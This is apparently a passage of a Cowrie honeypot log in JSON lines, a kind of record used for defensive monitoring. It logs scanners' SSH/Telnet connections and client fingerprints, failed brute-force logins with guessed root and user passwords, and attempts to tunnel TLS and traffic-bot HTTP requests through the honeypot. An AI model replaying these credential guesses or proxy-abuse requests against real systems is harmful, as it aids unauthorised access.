\\xa51\\xb3dj\\xc2\\xdc\\x1cV\\x05\\x86\\x8c\\xe3\\x05G\\x03r\\xc4\\\\9\\x8b\\xd3\\x96\\x01_\\xa3\\x89\\xb3<\\x81\\xe9\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xee\\xbf!l\\x1b\\xa4C\\x18_\\xe2\\xc8\\x8f\\xef\\xe4T\\x7f\\xc1P\\xd0\\x9f\\x81o\\x91_\\xa5w\\xa9Gkp~ 2@\\xa0%\\xe9\\xca\\xb6\\x0b\\xf5\\x01'\\x1e[1\\xb3X\\x15\\n\\xc0c\\x04\\x8c\\x85\\x04w\\xd4v#\\x85\\xca<6\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa51\\xb3dj\\xc2\\xdc\\x1cV\\x05\\x86\\x8c\\xe3\\x05G\\x03r\\xc4\\\\9\\x8b\\xd3\\x96\\x01_\\xa3\\x89\\xb3<\\x81\\xe9\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:32.114669Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:32.182052Z","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:32.239290Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x81\\'\\xdd\\x93\\x8b\\x7fc\\xf0\\x96\\x1dQX.<;\\x01Cp\\xa5\\xaa/\\xb7\\x8a~\\xb6\\x96\\xa6\\x93\\x15\\xa1\\x82 \\xbb\\x91\\x7fg\\x0f\\xe6q\\xca\\x97x\\xaa\\xcd\\x87\\xb4\\xfe\\xfa\\x87\\xb9\\xb3-\\xaeQL jX4\\x05\\xf6\\xc2\\x9c:\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 a\\xfa\\x9e\\x87\\xdb\\x0c\\xc6a\\x087\\xebD\\xcb\\xa1f2\\xe9LN\\x8b\\x1eW\\xa8J\\xf9k].\\x8e\\xcb\\xf69\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x81\\'\\xdd\\x93\\x8b\\x7fc\\xf0\\x96\\x1dQX.<;\\x01Cp\\xa5\\xaa/\\xb7\\x8a~\\xb6\\x96\\xa6\\x93\\x15\\xa1\\x82 \\xbb\\x91\\x7fg\\x0f\\xe6q\\xca\\x97x\\xaa\\xcd\\x87\\xb4\\xfe\\xfa\\x87\\xb9\\xb3-\\xaeQL jX4\\x05\\xf6\\xc2\\x9c:\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 a\\xfa\\x9e\\x87\\xdb\\x0c\\xc6a\\x087\\xebD\\xcb\\xa1f2\\xe9LN\\x8b\\x1eW\\xa8J\\xf9k].\\x8e\\xcb\\xf69\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:32.242945Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":41956,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cd9fe359899","protocol":"ssh","message":"New connection: 103.60.242.169:41956 (159.203.135.109:22) [session: 3cd9fe359899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:33.729324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:33.733619Z","src_ip":"103.60.242.169","session":"3cd9fe359899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:33.982509Z","src_ip":"103.60.242.169","session":"3cd9fe359899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38536,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e5476c5631d","protocol":"telnet","message":"New connection: 172.81.62.90:38536 (159.203.135.109:23) [session: 0e5476c5631d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:34.046995Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lc123456.","message":"login attempt [root/Lc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:35.002547Z","src_ip":"103.60.242.169","session":"3cd9fe359899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:36.251435Z","src_ip":"103.60.242.169","session":"3cd9fe359899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":56902,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a46beda5891","protocol":"ssh","message":"New connection: 101.79.165.43:56902 (159.203.135.109:22) [session: 3a46beda5891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:36.751101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:36.759610Z","src_ip":"101.79.165.43","session":"3a46beda5891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:36.974171Z","src_ip":"101.79.165.43","session":"3a46beda5891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaw","password":"shaw","message":"login attempt [shaw/shaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:37.837280Z","src_ip":"101.79.165.43","session":"3a46beda5891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.4","message":"Connection lost after 26.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:38.180130Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:39.061972Z","src_ip":"101.79.165.43","session":"3a46beda5891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00204920768738,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:40.923503Z","src_ip":"94.23.66.112","session":"34bd8ecfa7f3","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:46.941613Z","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:46.978603Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.141 Mobile/14G60 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JTM0SndQaFcxOURXdWI8ZQ%3D%3DwD0TTP1VlUAZgVEUcVojdfTq5gP3nj4e2ToRfJnmfu53vrVCnq8AGWGyq%2F6IaWUbmDNMNzEx6OQI1G9W4D56DH0PtQVe1QFEWzb5Ku46iAojxtdJSxFOrUI9yJwuC3HXCG8E9kxCr1ueJy5m94%2F7qDgXcBd6TUIHix5OrbBGBM6vLq%2FgK7M2y2ur1gN5MA3yttxk0puqx2LDcq5Yolqyal7Q5WeL3jPgU7uoWmG%2Ft7PVm1L0A3j48asNNMe8tDn1qOUHebRvFSmB5fVfzelzAEf2nW8ztsGm2qcozGwdHr6jNkQDmOB18Q%2FSl56eR4BdZmZtVBfdfNQRxcvEk1%2Fi3ni3KLq8nvVNh27j8wK5W%2F75m4X0%2Bqd1seB8MRIkpLrOKw9HazT5ZaCuWIQIrf6UJtnXKn3lbSSM%2FcWKSLfYBfGLfWfx8ecXEqruO%2FsYh4bWrzvjEFJw%2BCX%2BoJ7KRO%2FsKYqWDjoeLnaxoGwqLJrrBavOnPDZDg6ackBHhUHxeATdOO5TqHDKO6AblJCOioJkh7RffRU6gajEFWkSsXySIdT1Sby1vhR96X9Mvm%2F0qA83Pw6SDlEKbV7etNDRN8oBf43TCZMy0WGyotxz1WhR9IIGd%2B7xKs8kJXH7h2VlZKrhOh6TFPcpeMlWbZaRPYAfhCvz%2F4PRfC0RDXfGallvrH1WFR9sE9iehcjP%2BAF2AZWd3x7RAU83ht8KtEYZMoMyTKaJZPYQzVsdRlQIcxx5zi%2BysKaIRbOOcEhf9rv2RrEwxN3of7RZKMkuJCbHaEpxOvagqRGi2A7R0umf8gwqkvhxTXpyQleekfW4iRYOirpOqmNm%2FDwE%2BX1SNmzsxOlpCb2wJnHrIwbLqrfmlNlPJGiElmz0Lxz3mRMnE0zp3vEpcHZFKrhgYU7%2Faqj60%2BqdctShb8uvzLCaVJo2cQ6BivQZ8kubHtFDtQbZ97O%2BHXEs7RgRd%2BYYRQ0v6q2sANzPMQxIhXQ8935OHnsy1jiscWLaLe1nmU1F6HQD11UkR%2B6xLaDaBzcESsU%2FYj%2B%2Fcz%2F2VuSeUaBBFK2Vfy8Lpv6ps%2FQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.141 Mobile/14G60 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JTM0SndQaFcxOURXdWI8ZQ%3D%3DwD0TTP1VlUAZgVEUcVojdfTq5gP3nj4e2ToRfJnmfu53vrVCnq8AGWGyq%2F6IaWUbmDNMNzEx6OQI1G9W4D56DH0PtQVe1QFEWzb5Ku46iAojxtdJSxFOrUI9yJwuC3HXCG8E9kxCr1ueJy5m94%2F7qDgXcBd6TUIHix5OrbBGBM6vLq%2FgK7M2y2ur1gN5MA3yttxk0puqx2LDcq5Yolqyal7Q5WeL3jPgU7uoWmG%2Ft7PVm1L0A3j48asNNMe8tDn1qOUHebRvFSmB5fVfzelzAEf2nW8ztsGm2qcozGwdHr6jNkQDmOB18Q%2FSl56eR4BdZmZtVBfdfNQRxcvEk1%2Fi3ni3KLq8nvVNh27j8wK5W%2F75m4X0%2Bqd1seB8MRIkpLrOKw9HazT5ZaCuWIQIrf6UJtnXKn3lbSSM%2FcWKSLfYBfGLfWfx8ecXEqruO%2FsYh4bWrzvjEFJw%2BCX%2BoJ7KRO%2FsKYqWDjoeLnaxoGwqLJrrBavOnPDZDg6ackBHhUHxeATdOO5TqHDKO6AblJCOioJkh7RffRU6gajEFWkSsXySIdT1Sby1vhR96X9Mvm%2F0qA83Pw6SDlEKbV7etNDRN8oBf43TCZMy0WGyotxz1WhR9IIGd%2B7xKs8kJXH7h2VlZKrhOh6TFPcpeMlWbZaRPYAfhCvz%2F4PRfC0RDXfGallvrH1WFR9sE9iehcjP%2BAF2AZWd3x7RAU83ht8KtEYZMoMyTKaJZPYQzVsdRlQIcxx5zi%2BysKaIRbOOcEhf9rv2RrEwxN3of7RZKMkuJCbHaEpxOvagqRGi2A7R0umf8gwqkvhxTXpyQleekfW4iRYOirpOqmNm%2FDwE%2BX1SNmzsxOlpCb2wJnHrIwbLqrfmlNlPJGiElmz0Lxz3mRMnE0zp3vEpcHZFKrhgYU7%2Faqj60%2BqdctShb8uvzLCaVJo2cQ6BivQZ8kubHtFDtQbZ97O%2BHXEs7RgRd%2BYYRQ0v6q2sANzPMQxIhXQ8935OHnsy1jiscWLaLe1nmU1F6HQD11UkR%2B6xLaDaBzcESsU%2FYj%2B%2Fcz%2F2VuSeUaBBFK2Vfy8Lpv6ps%2FQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:46.981513Z","src_ip":"173.208.188.210",